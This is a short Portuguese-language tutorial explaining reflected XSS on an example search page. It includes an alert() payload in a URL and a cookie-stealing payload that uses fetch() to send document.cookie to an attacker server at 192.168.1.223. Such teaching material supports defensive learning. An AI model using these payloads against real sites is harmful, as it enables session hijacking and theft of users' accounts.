XSS Refletido
O que é XSS Refletido? Cross-Site Scripting (XSS) refletido é um tipo de vulnerabilidade de segurança que permite que um atacante injete código malicioso (geralmente JavaScript) em uma página web.
Esse código é "refletido" de volta ao navegador do usuário a partir do servidor web, e é executado no contexto do navegador.
Exemplo, o site netcattest.com tem uma funcionalidade de busca na url https://netcattest.com/busca. Quando um usário faz uma pesquisa, o site pode processar a entrada e retornar resultados.
https://netcattest.com/busca?q=aula33 |
Agora, se o campo de pesquisa do site estiver vulnerável a XSS refletido, um atacante pode injetar um script malicioso. Esse script seria executado no navegador de qualquer usuário que acessasse a URL vulnerável.
Etapa do Ataque:
O atacante descobre essa vulnerabilidade no site e decide explorar.
Ele constrói uma URL maliciosa com um script inserindo:
https://netcattest.com/busca?q=<script>alert('Você foi hackeado!');</script> |
Esse código <script>alert('Você foi hackeado!');</script>
será refletido de volta ao navegador e exibirá um alerta de JavaScript.
Quando um usuário clica nesta URL maliciosa, o script será executado no navegador dele.
Outro Exemplo
Cenário:
O atacante deseja roubar os cookies de sessão do usuário.
Etapa do Ataque:
O atacante injeta um script que envia os cookies para um servidor controlado por ele:
https://netcattest.com/busca?q=<script>fetch('http://192.168.1.223/rouba_cookie?' + document.cookie);</script> |
Esse script faz uma solicitação ao servidor do atacante, enviando os cookies do usuário.